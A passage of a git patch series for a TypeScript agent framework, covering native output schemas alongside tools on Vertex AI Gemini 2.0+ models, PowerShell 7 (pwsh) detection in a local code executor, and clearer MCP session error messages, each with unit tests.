LiteLlm, so the BaseLlm branch only read `.model`, which the three callers now do themselves. This also matches isGemini2OrAbove(modelString: string). - Condense the JSDoc note on Early Access Program names to one sentence. - Drop the two duplicated call-site comments, keeping only the one on the inverse-polarity condition in the basic processor. - Collapse `!agent.tools || agent.tools.length === 0` to `!agent.tools?.length`. The two removed helper tests exercised the BaseLlm overload that no longer exists; the 11-row model-name table is untouched and the helper keeps 100% line and branch coverage. * Tighten output-schema JSDoc and align the two tool-presence checks Second simplicity-audit round: drop the caller-policy paragraph from the helper JSDoc (the surviving call-site comment already names the injection sites, and the "more reliable" rationale stays in the one-line summary), and use `agent.tools?.length` in the instructions processor so both processors spell the same test the same way. --------- Co-authored-by: Amaad Martin --- core/src/agents/llm_agent.ts | 7 +- .../processors/basic_llm_request_processor.ts | 10 +- .../instructions_llm_request_processor.ts | 7 +- core/src/utils/output_schema_utils.ts | 27 ++++ core/test/agents/llm_agent_test.ts | 141 +++++++++++++++- .../basic_llm_request_processor_test.ts | 74 ++++++++- ...instructions_llm_request_processor_test.ts | 153 ++++++++++++++---- core/test/utils/output_schema_utils_test.ts | 103 ++++++++++++ 8 files changed, 482 insertions(+), 40 deletions(-) create mode 100644 core/src/utils/output_schema_utils.ts create mode 100644 core/test/utils/output_schema_utils_test.ts diff --git a/core/src/agents/llm_agent.ts b/core/src/agents/llm_agent.ts index 72049a0ab..330629b23 100644 --- a/core/src/agents/llm_agent.ts +++ b/core/src/agents/llm_agent.ts @@ -34,6 +34,7 @@ import {BaseTool, isBaseTool} from '../tools/base_tool.js'; import {BaseToolset} from '../tools/base_toolset.js'; import {logger} from '../utils/logger.js'; +import {canUseOutputSchemaWithTools} from '../utils/output_schema_utils.js'; import {Context} from './context.js'; import { @@ -787,7 +788,11 @@ export class LlmAgent extends BaseAgent { // TODO - b/425992518: check if tool preprocessors can be simplified. // Run pre-processors for tools. const allTools = [...this.tools]; - if (this.outputSchema && allTools.length > 0) { + if ( + this.outputSchema && + allTools.length > 0 && + !canUseOutputSchemaWithTools(this.canonicalModel.model) + ) { const setModelResponseTool = new FunctionTool({ name: 'set_model_response', description: diff --git a/core/src/agents/processors/basic_llm_request_processor.ts b/core/src/agents/processors/basic_llm_request_processor.ts index a2fa2594f..7ed2c66c5 100644 --- a/core/src/agents/processors/basic_llm_request_processor.ts +++ b/core/src/agents/processors/basic_llm_request_processor.ts @@ -6,6 +6,7 @@ import {Event} from '../../events/event.js'; import {LlmRequest, setOutputSchema} from '../../models/llm_request.js'; +import {canUseOutputSchemaWithTools} from '../../utils/output_schema_utils.js'; import {InvocationContext} from '../invocation_context.js'; import {isLlmAgent} from '../llm_agent.js'; import {BaseLlmRequestProcessor} from './base_llm_processor.js'; @@ -37,7 +38,14 @@ export class BasicLlmRequestProcessor extends BaseLlmRequestProcessor { llmRequest.model = agent.canonicalModel.model; llmRequest.config = {...(agent.generateContentConfig ?? {})}; - if (agent.outputSchema && (!agent.tools || agent.tools.length === 0)) { + // Models that cannot take an output schema alongside tools get the + // prompt-based `set_model_response` workaround instead, injected by + // `LlmAgent.runOneStepAsync` and the instructions processor. + if ( + agent.outputSchema && + (!agent.tools?.length || + canUseOutputSchemaWithTools(agent.canonicalModel.model)) + ) { setOutputSchema(llmRequest, agent.outputSchema); } diff --git a/core/src/agents/processors/instructions_llm_request_processor.ts b/core/src/agents/processors/instructions_llm_request_processor.ts index 6415186bf..4293f19e6 100644 --- a/core/src/agents/processors/instructions_llm_request_processor.ts +++ b/core/src/agents/processors/instructions_llm_request_processor.ts @@ -6,6 +6,7 @@ import {Event} from '../../events/event.js'; import {appendInstructions, LlmRequest} from '../../models/llm_request.js'; +import {canUseOutputSchemaWithTools} from '../../utils/output_schema_utils.js'; import {injectSessionState} from '../instructions.js'; import {InvocationContext} from '../invocation_context.js'; import {isLlmAgent} from '../llm_agent.js'; @@ -62,7 +63,11 @@ export class InstructionsLlmRequestProcessor extends BaseLlmRequestProcessor { appendInstructions(llmRequest, [instructionWithState]); } - if (agent.outputSchema && agent.tools && agent.tools.length > 0) { + if ( + agent.outputSchema && + agent.tools?.length && + !canUseOutputSchemaWithTools(agent.canonicalModel.model) + ) { appendInstructions(llmRequest, [ 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.', ]); diff --git a/core/src/utils/output_schema_utils.ts b/core/src/utils/output_schema_utils.ts new file mode 100644 index 000000000..e98bc176f --- /dev/null +++ b/core/src/utils/output_schema_utils.ts @@ -0,0 +1,27 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {isGemini2OrAbove} from './model_name.js'; +import {getGoogleLlmVariant, GoogleLLMVariant} from './variant_utils.js'; + +/** + * Returns whether the model can natively accept an output schema at the same + * time as tools, which is strictly more reliable than the prompt-based + * `set_model_response` workaround. + * + * Early Access Program model names encode no numeric version, so + * `isGemini2OrAbove` rejects them even on Vertex AI. The Python + * implementation accepts them; that gap lives in the shared predicate. + * + * @param modelString A simple or path-based model name. + * @return True if the model supports an output schema alongside tools. + */ +export function canUseOutputSchemaWithTools(modelString: string): boolean { + return ( + getGoogleLlmVariant() === GoogleLLMVariant.VERTEX_AI && + isGemini2OrAbove(modelString) + ); +} diff --git a/core/test/agents/llm_agent_test.ts b/core/test/agents/llm_agent_test.ts index a5089bc68..642394395 100644 --- a/core/test/agents/llm_agent_test.ts +++ b/core/test/agents/llm_agent_test.ts @@ -16,7 +16,9 @@ import { Context, ContextCompactorRequestProcessor, createEvent, + createSession, Event, + FunctionTool, InvocationContext, LlmAgent, LlmRequest, @@ -27,7 +29,7 @@ import { ToolProcessLlmRequest, } from '@google/adk'; import {Content, Schema, Type} from '@google/genai'; -import {beforeEach, describe, expect, it} from 'vitest'; +import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest'; import {z as z3} from 'zod/v3'; import {z as z4} from 'zod/v4'; @@ -839,3 +841,140 @@ describe('LlmAgent Default Request Processors', () => { expect(authIndex).toBeLessThan(contentIndex); }); }); + +describe('LlmAgent outputSchema with tools', () => { + const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + + const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, + }; + + afterEach(() => { + vi.unstubAllEnvs(); + }); + + /** + * Records the single request the agent builds so that all three gated sites + * can be asserted against one run of the default processor chain. + */ + class CapturingLlm extends BaseLlm { + capturedRequest?: LlmRequest; + + async *generateContentAsync( + request: LlmRequest, + ): AsyncGenerator { + this.capturedRequest = request; + yield {content: {role: 'model', parts: [{text: '{"answer": "42"}'}]}}; + } + + async connect(_llmRequest: LlmRequest): Promise { + return new MockLlmConnection(); + } + } + + async function captureRequest(options: { + model: string; + withTools: boolean; + }): Promise { + const llm = new CapturingLlm({model: options.model}); + const agent = new LlmAgent({ + name: 'test_agent', + model: llm, + instruction: 'Base instruction', + outputSchema: OUTPUT_SCHEMA, + tools: options.withTools + ? [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ] + : [], + }); + const invocationContext = new InvocationContext({ + invocationId: 'inv_123', + session: createSession({ + id: 'sess_123', + events: [], + appName: 'test-app', + userId: 'test-user', + }), + agent, + pluginManager: new PluginManager(), + }); + + for await (const _ of agent.runAsync(invocationContext)) { + // Drain the run so that the request is fully built. + } + + const request = llm.capturedRequest; + if (!request) { + expect.fail('the agent never called the model'); + } + return request; + } + + it('uses the native response schema on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeDefined(); + expect(request.config?.responseMimeType).toBe('application/json'); + expect(request.toolsDict).not.toHaveProperty('set_model_response'); + expect(request.toolsDict).toHaveProperty('some_tool'); + expect(request.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }); + + it('uses the set_model_response workaround outside the Vertex AI variant', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeUndefined(); + expect(request.toolsDict).toHaveProperty('set_model_response'); + expect(request.toolsDict).toHaveProperty('some_tool'); + expect(request.config?.systemInstruction).toContain('set_model_response'); + }); + + it('uses the set_model_response workaround on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const request = await captureRequest({ + model: 'gemini-1.5-pro', + withTools: true, + }); + + expect(request.config?.responseSchema).toBeUndefined(); + expect(request.toolsDict).toHaveProperty('set_model_response'); + expect(request.config?.systemInstruction).toContain('set_model_response'); + }); + + it.each(['true', undefined])( + 'uses the native response schema without tools when %s', + async (vertexEnv) => { + vi.stubEnv(VERTEX_ENV_VAR, vertexEnv); + + const request = await captureRequest({ + model: 'gemini-2.5-flash', + withTools: false, + }); + + expect(request.config?.responseSchema).toBeDefined(); + expect(request.toolsDict).not.toHaveProperty('set_model_response'); + expect(request.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }, + ); +}); diff --git a/core/test/agents/processors/basic_llm_request_processor_test.ts b/core/test/agents/processors/basic_llm_request_processor_test.ts index 888040132..81b1f5918 100644 --- a/core/test/agents/processors/basic_llm_request_processor_test.ts +++ b/core/test/agents/processors/basic_llm_request_processor_test.ts @@ -18,10 +18,23 @@ import { PluginManager, RunConfig, } from '@google/adk'; -import {Content, Blob as GenaiBlob, Modality} from '@google/genai'; -import {beforeAll, describe, expect, it} from 'vitest'; +import { + Content, + Blob as GenaiBlob, + Modality, + Schema, + Type, +} from '@google/genai'; +import {afterEach, beforeAll, describe, expect, it, vi} from 'vitest'; import {BASIC_LLM_REQUEST_PROCESSOR} from '../../../src/agents/processors/basic_llm_request_processor.js'; +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, +}; + class TestLlmConnection implements BaseLlmConnection { async sendHistory(_history: Content[]): Promise {} async sendContent(_content: Content): Promise {} @@ -197,6 +210,63 @@ describe('BasicLlmRequestProcessor', () => { expect(llmRequest.config?.responseMimeType).toBeUndefined(); }); + describe('outputSchema with tools on a model that supports both', () => { + afterEach(() => { + vi.unstubAllEnvs(); + }); + + async function runWithOutputSchemaAndTools( + model: string, + ): Promise { + const agent = new LlmAgent({ + name: 'test_agent', + // A model instance is used so that `canonicalModel` resolves without + // credentials. + model: new TestLlmModel({model}), + outputSchema: OUTPUT_SCHEMA, + tools: [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ], + }); + const llmRequest = makeLlmRequest(); + + await runProcessor(createMockInvocationContext(agent), llmRequest); + + return llmRequest; + } + + it('should set outputSchema on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-2.5-flash'); + + expect(llmRequest.config?.responseSchema).toBeDefined(); + expect(llmRequest.config?.responseMimeType).toBe('application/json'); + }); + + it('should not set outputSchema on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-1.5-pro'); + + expect(llmRequest.config?.responseSchema).toBeUndefined(); + expect(llmRequest.config?.responseMimeType).toBeUndefined(); + }); + + it('should not set outputSchema outside the Vertex AI variant', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const llmRequest = await runWithOutputSchemaAndTools('gemini-2.5-flash'); + + expect(llmRequest.config?.responseSchema).toBeUndefined(); + expect(llmRequest.config?.responseMimeType).toBeUndefined(); + }); + }); + it('should populate liveConnectConfig from runConfig', async () => { const agent = new LlmAgent({ name: 'test_agent', diff --git a/core/test/agents/processors/instructions_llm_request_processor_test.ts b/core/test/agents/processors/instructions_llm_request_processor_test.ts index 2f64e501a..32abfdd07 100644 --- a/core/test/agents/processors/instructions_llm_request_processor_test.ts +++ b/core/test/agents/processors/instructions_llm_request_processor_test.ts @@ -6,17 +6,31 @@ import { BaseAgent, + BaseLlm, + BaseLlmConnection, createSession, FunctionTool, InvocationContext, LlmAgent, LlmRequest, + LlmResponse, PluginManager, ReadonlyContext, } from '@google/adk'; -import {describe, expect, it} from 'vitest'; +import {Schema, Type} from '@google/genai'; +import {afterEach, describe, expect, it, vi} from 'vitest'; import {INSTRUCTIONS_LLM_REQUEST_PROCESSOR} from '../../../src/agents/processors/instructions_llm_request_processor.js'; +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +const OUTPUT_SCHEMA: Schema = { + type: Type.OBJECT, + properties: {answer: {type: Type.STRING}}, +}; + +const SET_MODEL_RESPONSE_INSTRUCTION = + 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.'; + class MockRootAgent extends BaseAgent { constructor(name: string, subAgents: BaseAgent[] = []) { super({name, subAgents}); @@ -26,6 +40,20 @@ class MockRootAgent extends BaseAgent { protected async *runLiveImpl(_context: InvocationContext) {} } +/** + * A model instance is used rather than a model name so that `canonicalModel` + * resolves without credentials. + */ +class MockLlm extends BaseLlm { + async *generateContentAsync( + _llmRequest: LlmRequest, + ): AsyncGenerator {} + + async connect(_llmRequest: LlmRequest): Promise { + throw new Error('connect is not exercised by these tests'); + } +} + function createMockInvocationContext(agent: BaseAgent): InvocationContext { return new InvocationContext({ invocationId: 'test-invocation', @@ -161,43 +189,100 @@ describe('InstructionsLlmRequestProcessor', () => { ); }); - it('should append set_model_response instruction when outputSchema and tools are present', async () => { - const outputSchema = { - type: 'object' as const, - properties: { - answer: {type: 'string' as const}, - }, - }; - const agent = new LlmAgent({ - name: 'test_agent', - model: 'gemini-2.5-flash', - instruction: 'Base instruction', - outputSchema, - tools: [ - new FunctionTool({ - name: 'some_tool', - description: 'A test tool', - execute: () => 'result', - }), - ], + describe('set_model_response instruction', () => { + afterEach(() => { + vi.unstubAllEnvs(); }); - const invocationContext = createMockInvocationContext(agent); - const llmRequest: LlmRequest = { - contents: [], - toolsDict: {}, - liveConnectConfig: {}, - }; + async function runWithOutputSchema(options: { + model: string; + withTools: boolean; + }): Promise { + const agent = new LlmAgent({ + name: 'test_agent', + model: new MockLlm({model: options.model}), + instruction: 'Base instruction', + outputSchema: OUTPUT_SCHEMA, + tools: options.withTools + ? [ + new FunctionTool({ + name: 'some_tool', + description: 'A test tool', + execute: () => 'result', + }), + ] + : [], + }); - for await (const _ of INSTRUCTIONS_LLM_REQUEST_PROCESSOR.runAsync( - invocationContext, - llmRequest, - )) { - // intentionally empty + const llmRequest: LlmRequest = { + contents: [], + toolsDict: {}, + liveConnectConfig: {}, + }; + + for await (const _ of INSTRUCTIONS_LLM_REQUEST_PROCESSOR.runAsync( + createMockInvocationContext(agent), + llmRequest, + )) { + // intentionally empty + } + + return llmRequest; } - expect(llmRequest.config?.systemInstruction).toContain( - 'To output the final result, you must call the "set_model_response" function with the appropriate values. Do not output anything else.', - ); + it('should append set_model_response instruction when outputSchema and tools are present', async () => { + vi.stubEnv(VERTEX_ENV_VAR, undefined); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).toContain( + SET_MODEL_RESPONSE_INSTRUCTION, + ); + }); + + it('should not append set_model_response instruction on Vertex AI with a Gemini 2.0+ model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + expect(llmRequest.config?.systemInstruction).toContain( + 'Base instruction', + ); + }); + + it('should append set_model_response instruction on Vertex AI with a pre-2.0 model', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-1.5-pro', + withTools: true, + }); + + expect(llmRequest.config?.systemInstruction).toContain( + SET_MODEL_RESPONSE_INSTRUCTION, + ); + }); + + it('should not append set_model_response instruction when there are no tools', async () => { + vi.stubEnv(VERTEX_ENV_VAR, 'true'); + + const llmRequest = await runWithOutputSchema({ + model: 'gemini-2.5-flash', + withTools: false, + }); + + expect(llmRequest.config?.systemInstruction).not.toContain( + 'set_model_response', + ); + }); }); }); diff --git a/core/test/utils/output_schema_utils_test.ts b/core/test/utils/output_schema_utils_test.ts new file mode 100644 index 000000000..9beedd983 --- /dev/null +++ b/core/test/utils/output_schema_utils_test.ts @@ -0,0 +1,103 @@ +/** + * @license + * Copyright 2026 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import {afterEach, describe, expect, it, vi} from 'vitest'; +// `canUseOutputSchemaWithTools` is internal and deliberately not exported from +// the package barrel. +import {canUseOutputSchemaWithTools} from '../../src/utils/output_schema_utils.js'; + +const VERTEX_ENV_VAR = 'GOOGLE_GENAI_USE_VERTEXAI'; + +interface TestCase { + model: string; + vertexEnv: string | undefined; + expected: boolean; + why: string; +} + +const TEST_CASES: TestCase[] = [ + { + model: 'gemini-2.5-pro', + vertexEnv: 'true', + expected: true, + why: 'the variant is Vertex AI and the model is Gemini 2.0+', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: '1', + expected: true, + why: '"1" also selects the Vertex AI variant', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: 'false', + expected: false, + why: 'the variant is not Vertex AI', + }, + { + model: 'gemini-2.5-pro', + vertexEnv: undefined, + expected: false, + why: 'the Gemini API variant is the default', + }, + { + model: 'gemini-2.5-flash', + vertexEnv: 'true', + expected: true, + why: 'the variant is Vertex AI and the model is Gemini 2.0+', + }, + { + model: 'gemini-1.5-pro', + vertexEnv: 'true', + expected: false, + why: 'Gemini 1.x is below the 2.0 floor', + }, + { + model: 'gemini-1.5-pro', + vertexEnv: undefined, + expected: false, + why: 'neither condition holds', + }, + { + model: 'claude-3-7-sonnet', + vertexEnv: 'true', + expected: false, + why: 'it is not a Gemini model', + }, + { + model: '', + vertexEnv: 'true', + expected: false, + why: 'an empty model name is never recognised', + }, + { + model: 'projects/p/locations/l/publishers/google/models/gemini-2.5-flash', + vertexEnv: 'true', + expected: true, + why: 'the version is read out of the path-based model name', + }, + { + model: 'gemini-flash-early-exp', + vertexEnv: 'true', + expected: false, + why: 'Early Access Program names encode no numeric version, unlike the Python implementation', + }, +]; + +describe('canUseOutputSchemaWithTools', () => { + afterEach(() => { + vi.unstubAllEnvs(); + }); + + for (const {model, vertexEnv, expected, why} of TEST_CASES) { + const envLabel = vertexEnv === undefined ? 'unset' : `"${vertexEnv}"`; + it(`returns ${expected} for "${model}" with ${VERTEX_ENV_VAR} ${envLabel}: ${why}`, () => { + vi.stubEnv(VERTEX_ENV_VAR, vertexEnv); + + expect(canUseOutputSchemaWithTools(model)).toBe(expected); + }); + } +}); From ce0e474bb5ab931894bf379588e357617ce0b5a1 Mon Sep 17 00:00:00 2001 From: Amaad Martin <57241464+AmaadMartin@users.noreply.github.com> Date: Tue, 4 Aug 2026 15:12:40 -0700 Subject: [PATCH 06/11] Fix: detect PowerShell 7+ (pwsh) in the UnsafeLocalCodeExecutor SHELL branch (#568) * fix(code-executors): detect pwsh as a PowerShell shell command The SHELL branch of UnsafeLocalCodeExecutor selected PowerShell spawn arguments with a substring test against `powershell`, so PowerShell 7+ (`pwsh`) was invoked without `-NoLogo -ExecutionPolicy Bypass -File` and its script was written with a `.sh` extension, which PowerShell refuses to run. The same substring test also misclassified unrelated commands whose path merely contains `powershell`. Detect PowerShell hosts on the executable name only (`powershell`/`pwsh`, case-insensitive, with or without `.exe`, either path separator) and use that for both the spawn arguments and the script extension. * refactor(code-executors): simplify PowerShell command detection Use path.win32.basename instead of a hand-rolled separator split (it splits on both separators on every platform), drop the two-element Set in favour of a direct comparison, and derive the spawn passthrough types in the test from the real spawn signature. * refactor(code-executors): tighten PowerShell detection and its tests Collapse the name check into a single anchored regex and drop assertions that restate behaviour already covered elsewhere in the file. * test(code-executors): use vitest autospy for the spawn recorder Replace the hand-written passthrough mock factory with vi.mock(..., {spy: true}), which wraps the real export without replacing its implementation, and pin -File to the argument before the script path. * test(code-executors): allow for PowerShell cold start in shell detection CI runners that ship PowerShell really launch it for these cases, and the first launch on a cold runner exceeded the default 5s test timeout. * fix(code-executors): keep shellCommandPath helper params optional Reverts an unrelated signature tightening so the diff stays scoped to the pwsh detection fix, per review feedback. The new PowerShell check guards against undefined the same way the cmd check on the next line does. * chore: park pwsh detection files at upstream state for merge Temporary: lets the upstream merge complete without conflicts so the merge auto-commit does not trip the pre-commit hook over unrelated files. The fix is restored in the next commit. * fix(code-executors): detect pwsh as a PowerShell shell command Restores the fix on top of the upstream merge. The SHELL branch selected PowerShell spawn arguments with a substring test against 'powershell', so PowerShell 7+ (pwsh) got neither the PowerShell flags nor a .ps1 script extension, and unrelated commands whose path merely contains the word were misclassified. Detection now matches the executable name only. Rebased onto the -NoProfile / /D change: the PowerShell branch reuses POWERSHELL_BASE_ARGS, and the tests reuse the existing spawn mock and EXPECTED_POWERSHELL_ARGS instead of the separate harness they used before. --------- Co-authored-by: Amaad Martin --- .../unsafe_local_code_executor.ts | 17 ++++++- .../unsafe_local_code_executor_test.ts | 44 +++++++++++++++++++ 2 files changed, 60 insertions(+), 1 deletion(-) diff --git a/core/src/code_executors/unsafe_local_code_executor.ts b/core/src/code_executors/unsafe_local_code_executor.ts index 1457d189e..f4b52701d 100644 --- a/core/src/code_executors/unsafe_local_code_executor.ts +++ b/core/src/code_executors/unsafe_local_code_executor.ts @@ -38,6 +38,14 @@ const POWERSHELL_BASE_ARGS = [ */ const CMD_BASE_ARGS = ['/D', '/c'] as const; +/** + * Whether `commandPath` names Windows PowerShell (`powershell`) or PowerShell + * 7+ (`pwsh`). `path.win32` splits on both separators on every platform. + */ +function isPowerShellCommand(commandPath: string): boolean { + return /^(powershell|pwsh)(\.exe)?$/i.test(path.win32.basename(commandPath)); +} + /** * Options for UnsafeLocalCodeExecutor. */ @@ -56,6 +64,10 @@ export interface UnsafeLocalCodeExecutorOptions { pythonCommandPath?: string; /** * The command to run Shell code. Default is `bash`. + * + * When it names `powershell` or `pwsh` (with or without `.exe`) the script + * is written as `.ps1` and run through PowerShell rather than as a bare + * shell script. */ shellCommandPath?: string; } @@ -98,6 +110,9 @@ function getExtensionForLanguage( } if (language === CodeExecutionLanguage.SHELL) { + if (shellCommandPath && isPowerShellCommand(shellCommandPath)) { + return '.ps1'; + } if (IS_WINDOWS) { if (shellCommandPath && shellCommandPath.toLowerCase().includes('cmd')) { return '.bat'; @@ -187,7 +202,7 @@ export class UnsafeLocalCodeExecutor extends BaseCodeExecutor { command = this.pythonCommandPath; } else if (language === CodeExecutionLanguage.SHELL) { command = this.shellCommandPath; - if (this.shellCommandPath.toLowerCase().includes('powershell')) { + if (isPowerShellCommand(this.shellCommandPath)) { args = [...POWERSHELL_BASE_ARGS, filePath]; } else if (this.shellCommandPath.toLowerCase().includes('cmd')) { args = [...CMD_BASE_ARGS, filePath]; diff --git a/core/test/code_executors/unsafe_local_code_executor_test.ts b/core/test/code_executors/unsafe_local_code_executor_test.ts index 7a38ed2c0..5e15aea7b 100644 --- a/core/test/code_executors/unsafe_local_code_executor_test.ts +++ b/core/test/code_executors/unsafe_local_code_executor_test.ts @@ -482,5 +482,49 @@ describe('UnsafeLocalCodeExecutor', () => { expect.anything(), ); }); + + describe('shell command detection', () => { + async function runShellCode(shellCommandPath: string) { + await new UnsafeLocalCodeExecutor({shellCommandPath}).executeCode({ + invocationContext, + codeExecutionInput: { + code: 'echo "test"', + language: CodeExecutionLanguage.SHELL, + inputFiles: [], + }, + }); + } + + it.each([ + 'pwsh', + 'pwsh.exe', + '/usr/bin/pwsh', + 'C:\\Program Files\\PowerShell\\7\\pwsh.exe', + 'PWSH', + 'powershell', + 'powershell.exe', + ])('runs a .ps1 script through PowerShell for %s', async (shell) => { + await runShellCode(shell); + + expect(spawnMock).toHaveBeenCalledWith( + shell, + EXPECTED_POWERSHELL_ARGS, + expect.anything(), + ); + }); + + it.each([ + '/opt/pwsh-tools/bin/bash', + '/usr/local/powershell-helpers/run.sh', + ])('does not treat %s as PowerShell', async (shell) => { + await runShellCode(shell); + + expect(spawnMock).toHaveBeenCalledWith( + shell, + [expect.stringMatching(/script\.(sh|ps1)$/)], + expect.anything(), + ); + }); + }); }); }); From 13d7304a0611fe8f1dc00a2e5de9dc3ac4d63943 Mon Sep 17 00:00:00 2001 From: Amaad Martin <57241464+AmaadMartin@users.noreply.github.com> Date: Tue, 4 Aug 2026 15:14:12 -0700 Subject: [PATCH 07/11] Fix: surface root-cause MCP session errors instead of swallowing them (#527) * Fix: surface root-cause MCP session errors instead of swallowing them MCPSessionManager.createSession() awaited client.connect() with no error handling, so an IAP/gateway HTTP 403/401 (status on StreamableHTTPError.code, body baked into .message) reached callers as a generic/empty failure, and background transport errors were dropped entirely. Add an exported, cycle-safe formatError() helper that flattens AggregateError.errors and the Error.cause chain (joining leaves with " | ") and appends the HTTP status + a response body truncated to 1000 chars. Wire it into createSession() (rethrow "Failed to create MCP session: " with the original preserved via cause) and into transport.onerror for both the stdio and streamable-HTTP branches. Brings adk-js to parity with adk-python v2.4.0. * Refactor: drop redundant self-cause guard in formatError The `seen` visited-set already terminates cyclic cause/errors graphs, so the extra `cause !== err` check was dead weight. Coverage stays 100%. * Refactor: move MCP error formatting into mcp_error_utils.ts Review feedback: the error-formatting block did not belong in the session manager. Move the constants (MAX_RESPONSE_BODY_LENGTH, TRUNCATION_MARKER, UNKNOWN_ERROR, MIN/MAX_HTTP_STATUS) and helpers (asRecord, firstString, truncateBody, baseMessage, extractHttpDetails, formatErrorRecursive, formatError, logTransportError) verbatim into a co-located core/src/tools/mcp/mcp_error_utils.ts, matching the existing code_execution_utils.ts pattern. formatError stays the module's public surface (with logTransportError, which the session manager assigns to transport.onerror); every other helper remains module-private. mcp_session_manager.ts drops from 296 back to 145 lines and now holds session-manager logic only. The test file moves to mcp_error_utils_test.ts to mirror the source; it imports the module by relative path since these utils are deliberately not part of the @google/adk public API. Pure code move: no behavior change, no `any`, no eslint-disable. 52 MCP tests pass with 100% line+branch coverage of both files. * Refactor: move error formatting to shared utils as error_utils Follow-up review feedback: the helper is generic enough to be reused by other error handling, so it belongs in the shared utils directory under a name that does not read as MCP-only. - core/src/tools/mcp/mcp_error_utils.ts -> core/src/utils/error_utils.ts, alongside case_utils/file_utils/failover_utils; test moves to core/test/utils/error_utils_test.ts to match the sibling convention. - Drop the MCP framing: the module doc now describes generic error formatting, and StreamableHTTPError is mentioned only as one of several supported error shapes (`.status`, `.response`, numeric `.code`) rather than the purpose. - logTransportError stays in the MCP layer (now a private function in mcp_session_manager.ts) so the 'MCP transport error: ' label is not baked into a generic module; error_utils.ts exports only formatError. Still internal: nothing added to index.ts/common.ts. Pure move/rename with no behavior change, no any/eslint-disable. 52 targeted tests pass with 100% line+branch coverage of error_utils.ts and mcp_session_manager.ts. --------- Co-authored-by: Amaad Martin --- core/src/tools/mcp/mcp_session_manager.ts | 69 +++--- core/src/utils/error_utils.ts | 161 ++++++++++++++ .../tools/mcp/mcp_session_manager_test.ts | 119 +++++++++- core/test/utils/error_utils_test.ts | 210 ++++++++++++++++++ 4 files changed, 532 insertions(+), 27 deletions(-) create mode 100644 core/src/utils/error_utils.ts create mode 100644 core/test/utils/error_utils_test.ts diff --git a/core/src/tools/mcp/mcp_session_manager.ts b/core/src/tools/mcp/mcp_session_manager.ts index 1cdfd4e0c..45dc7a07d 100644 --- a/core/src/tools/mcp/mcp_session_manager.ts +++ b/core/src/tools/mcp/mcp_session_manager.ts @@ -14,6 +14,14 @@ import { StreamableHTTPClientTransportOptions, } from '@modelcontextprotocol/sdk/client/streamableHttp.js'; +import {formatError} from '../../utils/error_utils.js'; +import {logger} from '../../utils/logger.js'; + +/** Surfaces a background transport error that would otherwise be dropped. */ +function logTransportError(err: unknown): void { + logger.error('MCP transport error: ' + formatError(err)); +} + /** * Defines the parameters for establishing a connection to an MCP server using * standard input/output (stdio). This is typically used for running MCP servers @@ -81,37 +89,46 @@ export class MCPSessionManager { async createSession(): Promise { const client = new Client({name: 'MCPClient', version: '1.0.0'}); - switch (this.connectionParams.type) { - case 'StdioConnectionParams': - await client.connect( - new StdioClientTransport(this.connectionParams.serverParams), - ); - break; - case 'StreamableHTTPConnectionParams': { - const options = this.connectionParams.transportOptions ?? {}; - - if ( - !options.requestInit && - this.connectionParams.header !== undefined - ) { - options.requestInit = { - headers: this.connectionParams.header as Record, - }; + try { + switch (this.connectionParams.type) { + case 'StdioConnectionParams': { + const transport = new StdioClientTransport( + this.connectionParams.serverParams, + ); + transport.onerror = logTransportError; + await client.connect(transport); + break; } + case 'StreamableHTTPConnectionParams': { + const options = this.connectionParams.transportOptions ?? {}; - await client.connect( - new StreamableHTTPClientTransport( + if ( + !options.requestInit && + this.connectionParams.header !== undefined + ) { + options.requestInit = { + headers: this.connectionParams.header as Record, + }; + } + + const transport = new StreamableHTTPClientTransport( new URL(this.connectionParams.url), options, - ), - ); - break; - } - default: { - // Triggers compile error if a case is missing. - const _exhaustiveCheck: never = this.connectionParams; - break; + ); + transport.onerror = logTransportError; + await client.connect(transport); + break; + } + default: { + // Triggers compile error if a case is missing. + const _exhaustiveCheck: never = this.connectionParams; + break; + } } + } catch (err) { + throw new Error('Failed to create MCP session: ' + formatError(err), { + cause: err, + }); } this.activeSessions.add(client); diff --git a/core/src/utils/error_utils.ts b/core/src/utils/error_utils.ts new file mode 100644 index 000000000..f1f80589b --- 